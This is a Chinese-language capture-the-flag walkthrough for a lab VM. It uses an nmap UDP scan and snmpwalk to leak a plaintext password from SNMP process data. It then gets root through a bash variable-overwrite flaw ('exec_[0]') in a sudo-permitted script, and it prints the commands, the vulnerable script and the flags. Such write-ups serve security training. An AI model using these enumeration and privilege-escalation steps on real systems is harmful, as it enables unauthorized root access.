

113-浅陌、铃铛

看到80端口提示，感觉入口点不在tcp，再udp，换了个扫描方式

```
nmap -p- -min-rate 10000 -n -Pn -sCV 192.168.1.104
```

```
Increasing send delay for 192.168.1.104 from 400 to 800 due to max_successful_tryno increase to 8
Stats: 0:00:29 elapsed; 0 hosts completed (1 up), 1 undergoing UDP Scan
UDP Scan Timing: About 3.85% done; ETC: 20:42 (0:10:49 remaining)
Increasing send delay for 192.168.1.104 from 800 to 1000 due to 11 out of 27 dropped probes since last increase.
UDP Scan Timing: About 6.71% done; ETC: 20:45 (0:12:59 remaining)
Stats: 0:02:36 elapsed; 0 hosts completed (1 up), 1 undergoing UDP Scan
UDP Scan Timing: About 15.85% done; ETC: 20:47 (0:13:32 remaining)
UDP Scan Timing: About 23.71% done; ETC: 20:48 (0:12:43 remaining)
UDP Scan Timing: About 28.81% done; ETC: 20:48 (0:11:52 remaining)
UDP Scan Timing: About 33.91% done; ETC: 20:48 (0:11:01 remaining)
UDP Scan Timing: About 39.01% done; ETC: 20:48 (0:10:10 remaining)
UDP Scan Timing: About 44.41% done; ETC: 20:48 (0:09:17 remaining)
UDP Scan Timing: About 49.51% done; ETC: 20:48 (0:08:26 remaining)
UDP Scan Timing: About 54.61% done; ETC: 20:48 (0:07:35 remaining)
UDP Scan Timing: About 59.71% done; ETC: 20:48 (0:06:44 remaining)
Discovered open port 161/udp on 192.168.1.104
UDP Scan Timing: About 64.81% done; ETC: 20:48 (0:05:52 remaining)
UDP Scan Timing: About 69.91% done; ETC: 20:48 (0:05:01 remaining)
UDP Scan Timing: About 75.01% done; ETC: 20:48 (0:04:10 remaining)
UDP Scan Timing: About 80.11% done; ETC: 20:48 (0:03:19 remaining)
UDP Scan Timing: About 85.21% done; ETC: 20:48 (0:02:28 remaining)
UDP Scan Timing: About 90.51% done; ETC: 20:48 (0:01:35 remaining)
UDP Scan Timing: About 95.61% done; ETC: 20:48 (0:00:44 remaining)
Completed UDP Scan at 20:48, 1010.90s elapsed (1000 total ports)
Nmap scan report for 192.168.1.104
Host is up (0.0015s latency).
Not shown: 998 closed udp ports (port-unreach)
PORT      STATE      SERVICE
68/udp    open|filtered dhcpc
161/udp   open       snmp
MAC Address: 00:0C:29:25:25:1B (VMware)

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 1015.40 seconds
Raw packets sent: 1164 (54.744KB) | Rcvd: 6413 (516.540KB)
```

扫描发现snmp，看看有没有信息泄露

```
snmpwalk -v2c -c public 192.168.1.104
```

还真有

```
service --user welcome --password mM0q2WWONQiiY8TinSRF --host localhost --port 8080
```

```

root@kali: /home/kali

Session Actions Edit View Help

iso.3.6.1.2.1.25.4.2.1.4.236 = ""
iso.3.6.1.2.1.25.4.2.1.4.238 = ""
iso.3.6.1.2.1.25.4.2.1.4.239 = ""
iso.3.6.1.2.1.25.4.2.1.4.275 = ""
iso.3.6.1.2.1.25.4.2.1.4.303 = ""
iso.3.6.1.2.1.25.4.2.1.4.305 = ""
iso.3.6.1.2.1.25.4.2.1.4.306 = ""
iso.3.6.1.2.1.25.4.2.1.4.340 = STRING: "/lib/systemd/systemd-journald"
iso.3.6.1.2.1.25.4.2.1.4.361 = STRING: "/lib/systemd/systemd-udev"
iso.3.6.1.2.1.25.4.2.1.4.415 = ""
iso.3.6.1.2.1.25.4.2.1.4.416 = ""
iso.3.6.1.2.1.25.4.2.1.4.436 = STRING: "/sbin/dhclient"
iso.3.6.1.2.1.25.4.2.1.4.443 = STRING: "/lib/systemd/systemd-timesyncd"
iso.3.6.1.2.1.25.4.2.1.4.460 = STRING: "/usr/sbin/cron"
iso.3.6.1.2.1.25.4.2.1.4.461 = STRING: "/usr/bin/dbus-daemon"
iso.3.6.1.2.1.25.4.2.1.4.462 = STRING: "service --user welcome --password mMQ2WWONQiiY8TInSRF --host localhost --port 8080"
iso.3.6.1.2.1.25.4.2.1.4.464 = STRING: "/usr/sbin/rsyslogd"
iso.3.6.1.2.1.25.4.2.1.4.470 = STRING: "/lib/systemd/systemd-logind"
iso.3.6.1.2.1.25.4.2.1.4.479 = STRING: "/usr/sbin/snmpd"
iso.3.6.1.2.1.25.4.2.1.4.496 = STRING: "/sbin/agetty"
iso.3.6.1.2.1.25.4.2.1.4.518 = STRING: "sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups"
iso.3.6.1.2.1.25.4.2.1.4.530 = STRING: "/usr/bin/python3"
iso.3.6.1.2.1.25.4.2.1.4.531 = STRING: "/usr/sbin/apache2"
iso.3.6.1.2.1.25.4.2.1.4.534 = STRING: "/usr/sbin/apache2"
iso.3.6.1.2.1.25.4.2.1.4.535 = STRING: "/usr/sbin/apache2"
iso.3.6.1.2.1.25.4.2.1.4.536 = STRING: "/usr/sbin/apache2"
iso.3.6.1.2.1.25.4.2.1.4.537 = STRING: "/usr/sbin/apache2"
iso.3.6.1.2.1.25.4.2.1.4.538 = STRING: "/usr/sbin/apache2"
iso.3.6.1.2.1.25.4.2.1.4.539 = STRING: "sshd: root@pts/0"
iso.3.6.1.2.1.25.4.2.1.4.542 = STRING: "/lib/systemd/systemd"
iso.3.6.1.2.1.25.4.2.1.4.543 = STRING: "(sd-pam)"
iso.3.6.1.2.1.25.4.2.1.4.562 = STRING: "-bash"
iso.3.6.1.2.1.25.4.2.1.4.787 = STRING: "/usr/sbin/apache2"
iso.3.6.1.2.1.25.4.2.1.4.790 = STRING: "/usr/sbin/apache2"
iso.3.6.1.2.1.25.4.2.1.4.791 = STRING: "/usr/sbin/apache2"
iso.3.6.1.2.1.25.4.2.1.4.868 = ""
iso.3.6.1.2.1.25.4.2.1.4.919 = ""
iso.3.6.1.2.1.25.4.2.1.5.1 = ""

```

登陆后cat user.txt

```
flag{user-21539141ad1bc8ab9d26420aecb2415b}
```

```

permitted by applicable law.
Last login: Wed Jan 14 08:32:23 2026 from 192.168.3.94
/usr/bin/xauth: file /home/welcome/.Xauthority does not exist
welcome@113:~$ ls
user.txt
welcome@113:~$ cat user.txt
flag{user-21539141ad1bc8ab9d26420aecb2415b}
welcome@113:~$ find / -perm -u=s -type f 2>/dev/null

```

尝试提权

```

welcome@113:~$ find / -perm -u=s -type f 2>/dev/null
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/mount
/usr/bin/su
/usr/bin/umount
/usr/bin/pkexec
/usr/bin/sudo
/usr/bin/passwd
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmccrypt-get-device
/usr/lib/openssh/ssh-keysign

```

```
/usr/libexec/polkit-agent-helper-1
```

发现个113.sh

```
welcome@113:/tmp/re$ sudo -l
Matching Defaults entries for welcome on 113:
    env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User welcome may run the following commands on 113:
    (ALL) NOPASSWD: /opt/113.sh
```

查看内容

```
welcome@113:/tmp/re$ ls /opt/
113.sh
welcome@113:/tmp/re$ ls /opt/113.sh
/opt/113.sh
welcome@113:/tmp/re$ cat /opt/113.sh
#!/bin/bash

sandbox=$(mktemp -d)
cd $sandbox

if [ "$#" -ne 3 ];then
    exit
fi

if [ "$3" != "mazesec" ]
then
    echo "\$3 must be mazesec"
    exit
else
    /bin/cp /usr/bin/mazesec $sandbox
    exec_="$sandbox/mazesec"
fi

if [ "$1" = "exec_" ];then
    exit
fi
```

```
declare -- "$1"="$2"  
$exec_
```

分析

这段脚本存在一个变量覆盖漏洞，配合Bash 数组特性可以绕过安全检查。

```
welcome@113:/tmp/re$ sudo /opt/113.sh "exec_[0]" "/bin/bash" "mazesec"  
root@113:/tmp/tmp.GGN78d1V42# whoami  
root  
root@113:/tmp/tmp.GGN78d1V42# ls /root/  
113rootpass.txt  root.txt  
root@113:/tmp/tmp.GGN78d1V42# cat /root/root.txt  
flag{root-9f283fe2f6363f99f80ed7f3f3c3cb19}
```

```
welcome@113:/tmp/re$ ls /opt/113.sh -alh  
-rwxr-xr-x 1 root root 280 Jan 14 08:35 /opt/113.sh  
welcome@113:/tmp/re$ sudo /opt/113.sh "exec_[0]" "/bin/bash" "mazesec"  
root@113:/tmp/tmp.GGN78d1V42# whoami  
root  
root@113:/tmp/tmp.GGN78d1V42# ls /root/  
113rootpass.txt  root.txt  
root@113:/tmp/tmp.GGN78d1V42# cat /root/root.txt  
flag{root-9f283fe2f6363f99f80ed7f3f3c3cb19}  
root@113:/tmp/tmp.GGN78d1V42# ^C  
root@113:/tmp/tmp.GGN78d1V42#
```